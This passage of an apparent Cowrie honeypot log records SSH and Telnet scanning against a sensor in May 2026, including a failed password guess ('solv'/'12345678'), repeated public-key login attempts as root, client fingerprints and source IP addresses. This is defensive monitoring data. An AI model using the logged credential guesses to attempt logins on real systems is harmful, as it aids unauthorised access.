{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:35.361620Z","src_ip":"193.32.162.145","session":"d3de490527e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:35.466235Z","src_ip":"193.32.162.145","session":"d3de490527e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:35.779402Z","src_ip":"193.32.162.145","session":"d3de490527e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:36.886843Z","src_ip":"193.32.162.145","session":"d3de490527e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.90.41","src_port":6748,"dst_ip":"10.17.0.5","dst_port":22,"session":"21434b89e1db","protocol":"ssh","message":"New connection: 103.176.90.41:6748 (10.17.0.5:22) [session: 21434b89e1db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:29.684019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:29.688214Z","src_ip":"103.176.90.41","session":"21434b89e1db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:29.777302Z","src_ip":"103.176.90.41","session":"21434b89e1db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:b6:82:be:2e:cb:50:8d:df:e2:d1:0b:b8:de:0f:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLK52hNEvv0U6GxIrdHKSjYW2MlEdcv51vV9eO3jECvzYoanS6PoQ2iL8qyaxFrhACZUT4Rc/eDkuh2hrgdMR95KFYB8xAOjSvByaMaEDWdQlbor3hc3ea+CmS6dh9RUdu94XLO2D2FllWQ+O4u5EoqdOW2uYXePoLmVSpO0tUM4hznLH0Byp7Lu3UZ/oR+N4i3ynbei7L5HzK3iRI3rdCWLYvdJwURmr4D9rALiBAk8axidZOihuyjgnvnNeOw2jJu16GNohnPtkQM++enQE3FASFkzpGXreFaeidG4qRkiZj4NnowYa3QTOuI+dWwQo5aISTF+xO2MmrWaEbXH7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:b6:82:be:2e:cb:50:8d:df:e2:d1:0b:b8:de:0f:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:30.183123Z","src_ip":"103.176.90.41","session":"21434b89e1db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:b6:82:be:2e:cb:50:8d:df:e2:d1:0b:b8:de:0f:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLK52hNEvv0U6GxIrdHKSjYW2MlEdcv51vV9eO3jECvzYoanS6PoQ2iL8qyaxFrhACZUT4Rc/eDkuh2hrgdMR95KFYB8xAOjSvByaMaEDWdQlbor3hc3ea+CmS6dh9RUdu94XLO2D2FllWQ+O4u5EoqdOW2uYXePoLmVSpO0tUM4hznLH0Byp7Lu3UZ/oR+N4i3ynbei7L5HzK3iRI3rdCWLYvdJwURmr4D9rALiBAk8axidZOihuyjgnvnNeOw2jJu16GNohnPtkQM++enQE3FASFkzpGXreFaeidG4qRkiZj4NnowYa3QTOuI+dWwQo5aISTF+xO2MmrWaEbXH7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:30.187434Z","src_ip":"103.176.90.41","session":"21434b89e1db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:2f:ab:4b:26:68:4e:78:52:8c:13:07:3e:78:f7:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1dWIXRF2XB6HG/CYjnI7/p2KIyR6Sv4sgrzp5ikIKWlV/0HZgpSUInP9oU7OnR6zxZbzDcVJcLUE1qf/uduIiAup6YMj6AGd8BRuVBFIyCpdKqbOMC4WXYlPmgcptr6MLvJBX2xz15VI+WLp5UGXZYZ25lRFfWqcB+x1WzeRCeW9ZdLnRt1GYDQC+ivM3zUd/8d8/xwhEPU0W6D6wp/C+5w1vBeFwFN6gdAdgNBXWbNsnRLYCV5PUdYeW6mZCfE1hSPJneGTUAvwEI6h40xDIb3oBbUIytWfV27xJKlkjwtSPbL1jExok9sOvaIlUYg3SZOC/Z+A6VoAv4+Qo44xsIKe8lSo6Esp5wEZqaHpGlagW1pqBGkXkhWOoo+MrI8dWNjRS8hQX81rdAxcSs61yDiNVby724NCYF24baNXPfxP7Rp98x7V0/PI0pKkQ9rJRcWkUQudxkG5nRutN8pceqXlzTMP4WWRTUdbWG7ETxFTzW3U874hs6zoafTVNeCfOp8D45POLFI0fR5LJjLizCQOAjbAwfzsXN4TsNGkOiVwCuaOVAaR+Dgv9PUhJDpn77PeXMKYRUCt9Jt84EenwkKkt6sCtzHnRSrlKh/0dyn3VkzRZDRBs3etExPMn8jgLC7WAttYGMhlZOf+zbtEconq14GoEfyiXSpks1K3jnw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:2f:ab:4b:26:68:4e:78:52:8c:13:07:3e:78:f7:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:30.274315Z","src_ip":"103.176.90.41","session":"21434b89e1db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:2f:ab:4b:26:68:4e:78:52:8c:13:07:3e:78:f7:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1dWIXRF2XB6HG/CYjnI7/p2KIyR6Sv4sgrzp5ikIKWlV/0HZgpSUInP9oU7OnR6zxZbzDcVJcLUE1qf/uduIiAup6YMj6AGd8BRuVBFIyCpdKqbOMC4WXYlPmgcptr6MLvJBX2xz15VI+WLp5UGXZYZ25lRFfWqcB+x1WzeRCeW9ZdLnRt1GYDQC+ivM3zUd/8d8/xwhEPU0W6D6wp/C+5w1vBeFwFN6gdAdgNBXWbNsnRLYCV5PUdYeW6mZCfE1hSPJneGTUAvwEI6h40xDIb3oBbUIytWfV27xJKlkjwtSPbL1jExok9sOvaIlUYg3SZOC/Z+A6VoAv4+Qo44xsIKe8lSo6Esp5wEZqaHpGlagW1pqBGkXkhWOoo+MrI8dWNjRS8hQX81rdAxcSs61yDiNVby724NCYF24baNXPfxP7Rp98x7V0/PI0pKkQ9rJRcWkUQudxkG5nRutN8pceqXlzTMP4WWRTUdbWG7ETxFTzW3U874hs6zoafTVNeCfOp8D45POLFI0fR5LJjLizCQOAjbAwfzsXN4TsNGkOiVwCuaOVAaR+Dgv9PUhJDpn77PeXMKYRUCt9Jt84EenwkKkt6sCtzHnRSrlKh/0dyn3VkzRZDRBs3etExPMn8jgLC7WAttYGMhlZOf+zbtEconq14GoEfyiXSpks1K3jnw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:30.279327Z","src_ip":"103.176.90.41","session":"21434b89e1db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:22:c9:dc:54:2f:82:b9:2f:3f:65:cc:af:85:d8:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxrdnuXjuUNqcAJHJ5dtF24tNH0HtOoe2/xCDffNZnXXZKgPiOmaATb3OsxxDv2clrDUl0YiEQFC8OuD9b3uC6So4LtbNcOnZ2DsRLMQcyb7FQ3ZTQ6IXCxU5UhMVPwjo6z2+XCF9Bja1LVRAKGpDLCilIwnEtiBSRQNYtm1enSyUEAF+BZnRPGKUZFpcwpV+KqDXE9W9GUcYBTqGOl7YmayIfuzSt0eJ4RxT8DA4/g+wYcDVXOp1B9/xifD17lKQ+X0hpqC6t2SEHMmUQ/b1oyQZzzuSmbR4hh7JSovy8jMl2DyRyobcqHz9Pf3YAwaxvKWrdVHlG2lZsj1oGg9RyAXnMGjO7HVwSCjBbdnob91V0G1JNkA+4tDN01QOeiWhLyh7j9iH6HqZJaSsbVMm1VydPlnaau4k4Qz0lFtm7SmJiy0PlXVWfUN3ktNTG5/oAJRQdBXzBjKTLJ9AmVYNxyYnMsbxIfVv+bX9kx7QbfyuKwU4fC+oFpsLIM9nL0lPFhqIq/kQobgvjdkcnDpRs6moSSKJQ9DxHxPquuIOVkyJM6F+03oY2d8px03H/RwuYS0jiF//Xahg1yD9JMLnfqBbK0gjVIqIgzc3fcvyaxLHo6+vF3/g3NhXtfyF21y4t4p5DCovLwIFkM66Qv8/qhhyNtOKzkJg06kj6Orw1/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:22:c9:dc:54:2f:82:b9:2f:3f:65:cc:af:85:d8:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:30.368689Z","src_ip":"103.176.90.41","session":"21434b89e1db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:22:c9:dc:54:2f:82:b9:2f:3f:65:cc:af:85:d8:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxrdnuXjuUNqcAJHJ5dtF24tNH0HtOoe2/xCDffNZnXXZKgPiOmaATb3OsxxDv2clrDUl0YiEQFC8OuD9b3uC6So4LtbNcOnZ2DsRLMQcyb7FQ3ZTQ6IXCxU5UhMVPwjo6z2+XCF9Bja1LVRAKGpDLCilIwnEtiBSRQNYtm1enSyUEAF+BZnRPGKUZFpcwpV+KqDXE9W9GUcYBTqGOl7YmayIfuzSt0eJ4RxT8DA4/g+wYcDVXOp1B9/xifD17lKQ+X0hpqC6t2SEHMmUQ/b1oyQZzzuSmbR4hh7JSovy8jMl2DyRyobcqHz9Pf3YAwaxvKWrdVHlG2lZsj1oGg9RyAXnMGjO7HVwSCjBbdnob91V0G1JNkA+4tDN01QOeiWhLyh7j9iH6HqZJaSsbVMm1VydPlnaau4k4Qz0lFtm7SmJiy0PlXVWfUN3ktNTG5/oAJRQdBXzBjKTLJ9AmVYNxyYnMsbxIfVv+bX9kx7QbfyuKwU4fC+oFpsLIM9nL0lPFhqIq/kQobgvjdkcnDpRs6moSSKJQ9DxHxPquuIOVkyJM6F+03oY2d8px03H/RwuYS0jiF//Xahg1yD9JMLnfqBbK0gjVIqIgzc3fcvyaxLHo6+vF3/g3NhXtfyF21y4t4p5DCovLwIFkM66Qv8/qhhyNtOKzkJg06kj6Orw1/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:30.373763Z","src_ip":"103.176.90.41","session":"21434b89e1db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:be:e3:ab:70:f1:a5:74:7c:5a:5c:99:81:4e:51:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMXUsrZJptkCktV8KjDKeRTrquBVqiYvXrFpORGfxUo3jlSZq7V15cgK5aAvZfzTgKiJ1Tyi8FfhUbS5dc3CzY3lNBSCrK7Pr8JhaA60Nr31Z2e/AKh091oRWSb3VgbvUy74kbQ+ZNfgb8zbDGOgwMXFsXRnAO1NCiVIkC3DTnI2QkX3fudGetbDhY6oAU1FLEhZlO4jkMF6H7ihAXY+UyorqRwZDmTB7DqK4HkhtavL8k0OoFbUSuQMc/llSLDsXUYc3mLmmOT/ZGjyVQ/8kk4y2LzWJH9w/c6qW8J7Jki7Bb2i1AsUVflM1kZU2mSwI4QnLO5KELWG9l6iky3gmGVeBrmiDZcVqz4Kg6EfrUoz8bUlHlrG8gMcmgOnM+/PDIh8MeVG1Q47MYb7JpKYnkhbJTV5snZZngVF5vYczmYIgsc27Un95xV+KG633r3UUG7nKBMBj1dswa334WLBU/KXLnaHwmEmB5YX5vc4JYk+sJSEQcx+iNtMAyqpqIMC2fPhNYyIk13xVW76apFZBw3AHFtelOyS7LgBY8ird4FGvrJGCFKzR3ss855BqQZEdmWXIaT9/KP/HoizG6e4pqpLPPMb5h/fe8Mngpao80WDKLOSsviTUd9S9pHRrQAGbWnJjXV3+42Hf6o0otig/8f00LmLuMgUB3kmLpV6LZqw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:be:e3:ab:70:f1:a5:74:7c:5a:5c:99:81:4e:51:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:30.462210Z","src_ip":"103.176.90.41","session":"21434b89e1db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:be:e3:ab:70:f1:a5:74:7c:5a:5c:99:81:4e:51:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMXUsrZJptkCktV8KjDKeRTrquBVqiYvXrFpORGfxUo3jlSZq7V15cgK5aAvZfzTgKiJ1Tyi8FfhUbS5dc3CzY3lNBSCrK7Pr8JhaA60Nr31Z2e/AKh091oRWSb3VgbvUy74kbQ+ZNfgb8zbDGOgwMXFsXRnAO1NCiVIkC3DTnI2QkX3fudGetbDhY6oAU1FLEhZlO4jkMF6H7ihAXY+UyorqRwZDmTB7DqK4HkhtavL8k0OoFbUSuQMc/llSLDsXUYc3mLmmOT/ZGjyVQ/8kk4y2LzWJH9w/c6qW8J7Jki7Bb2i1AsUVflM1kZU2mSwI4QnLO5KELWG9l6iky3gmGVeBrmiDZcVqz4Kg6EfrUoz8bUlHlrG8gMcmgOnM+/PDIh8MeVG1Q47MYb7JpKYnkhbJTV5snZZngVF5vYczmYIgsc27Un95xV+KG633r3UUG7nKBMBj1dswa334WLBU/KXLnaHwmEmB5YX5vc4JYk+sJSEQcx+iNtMAyqpqIMC2fPhNYyIk13xVW76apFZBw3AHFtelOyS7LgBY8ird4FGvrJGCFKzR3ss855BqQZEdmWXIaT9/KP/HoizG6e4pqpLPPMb5h/fe8Mngpao80WDKLOSsviTUd9S9pHRrQAGbWnJjXV3+42Hf6o0otig/8f00LmLuMgUB3kmLpV6LZqw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:30.473738Z","src_ip":"103.176.90.41","session":"21434b89e1db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:13:9a:61:b1:b0:76:ba:65:eb:51:0d:9c:29:66:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyxjnk3wVswFridL0HtPzbN+2r5nYcckM7FSwq5nIixeduyoV9l23td/SaKxOzP0nt2xA1tJLOIH65Y6ZDnDM7reDjUHK9L41OFt0CFS5nthOPMUyHj6lYUFli8RIAH1ii0tvVI6UhMNigH2OOXvo1+em42F5GrdbODjML5CEwfHCQ3RShpgHh79N5KRv24yTngMM36aG5Ma7Dw2ePsl3aP0qGo9CIMrzKYGLrMCqbnz2KIVTLtCqT+SRGvNjZyLhCFhE2NKKPpmw+KllyEISpU79II9D6pznb7EuzExE9e9geUqDMun1l/WpLGjkYh0FXeNB5htkSOjOQXFKjkaKXlJrZDSiKKYWWqthBp5FCTb5nIsuwqEsPXdZG181klJdJev+5e0iNRg5Em5uJgiH8vN/x4KilQHxMR641xXuQw3Nc1Gr0eJbczxZDuu/DPWYFy9gy9Qgps23um243j4CmGcAw9kx1fbD0d5sJNvi/1KWWnDQL9DHseiKeQ6k2/ewIRHgpjiUNgfXi5m73t7O+WO4l3Gt8pS0WTAU3ORUKdwJnlUr+cYVtWyTr41Uyoo2cIIiai+FkyPbSUeD81AwTncsEJIRix47h4pQsKRVy4zbd01muqk/FkJrxhc4fjngXVwfIibSERwiet9I3xms29ZHlFCb8sZoRPcApPjUwEQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:13:9a:61:b1:b0:76:ba:65:eb:51:0d:9c:29:66:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:30.569659Z","src_ip":"103.176.90.41","session":"21434b89e1db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:13:9a:61:b1:b0:76:ba:65:eb:51:0d:9c:29:66:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyxjnk3wVswFridL0HtPzbN+2r5nYcckM7FSwq5nIixeduyoV9l23td/SaKxOzP0nt2xA1tJLOIH65Y6ZDnDM7reDjUHK9L41OFt0CFS5nthOPMUyHj6lYUFli8RIAH1ii0tvVI6UhMNigH2OOXvo1+em42F5GrdbODjML5CEwfHCQ3RShpgHh79N5KRv24yTngMM36aG5Ma7Dw2ePsl3aP0qGo9CIMrzKYGLrMCqbnz2KIVTLtCqT+SRGvNjZyLhCFhE2NKKPpmw+KllyEISpU79II9D6pznb7EuzExE9e9geUqDMun1l/WpLGjkYh0FXeNB5htkSOjOQXFKjkaKXlJrZDSiKKYWWqthBp5FCTb5nIsuwqEsPXdZG181klJdJev+5e0iNRg5Em5uJgiH8vN/x4KilQHxMR641xXuQw3Nc1Gr0eJbczxZDuu/DPWYFy9gy9Qgps23um243j4CmGcAw9kx1fbD0d5sJNvi/1KWWnDQL9DHseiKeQ6k2/ewIRHgpjiUNgfXi5m73t7O+WO4l3Gt8pS0WTAU3ORUKdwJnlUr+cYVtWyTr41Uyoo2cIIiai+FkyPbSUeD81AwTncsEJIRix47h4pQsKRVy4zbd01muqk/FkJrxhc4fjngXVwfIibSERwiet9I3xms29ZHlFCb8sZoRPcApPjUwEQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:30.574266Z","src_ip":"103.176.90.41","session":"21434b89e1db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:30.660993Z","src_ip":"103.176.90.41","session":"21434b89e1db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":41452,"dst_ip":"10.17.0.5","dst_port":23,"session":"698bc498a3ca","protocol":"telnet","message":"New connection: 180.235.129.180:41452 (10.17.0.5:23) [session: 698bc498a3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:31.737333Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":41480,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecea9a85b938","protocol":"telnet","message":"New connection: 180.235.129.180:41480 (10.17.0.5:23) [session: ecea9a85b938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:35.852434Z"}
{"eventid":"cowrie.session.closed","duration":5.888680458068848,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:37.625916Z","src_ip":"180.235.129.180","session":"698bc498a3ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.3045766353607178,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:38.156862Z","src_ip":"180.235.129.180","session":"ecea9a85b938","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.172.43.243","src_port":4416,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f39460af2b0","protocol":"telnet","message":"New connection: 189.172.43.243:4416 (159.203.135.109:23) [session: 1f39460af2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:43.965133Z"}
{"eventid":"cowrie.session.closed","duration":12.059927463531494,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:50:56.024941Z","src_ip":"189.172.43.243","session":"1f39460af2b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.120.207.109","src_port":50696,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ed3504a9fe8","protocol":"telnet","message":"New connection: 125.120.207.109:50696 (10.17.0.5:23) [session: 7ed3504a9fe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:51:22.798150Z"}
{"eventid":"cowrie.session.closed","duration":12.255574464797974,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:51:35.053606Z","src_ip":"125.120.207.109","session":"7ed3504a9fe8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41572,"dst_ip":"159.203.135.109","dst_port":22,"session":"068e2f77abda","protocol":"ssh","message":"New connection: 193.32.162.145:41572 (159.203.135.109:22) [session: 068e2f77abda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:51:44.240909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:51:44.249174Z","src_ip":"193.32.162.145","session":"068e2f77abda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 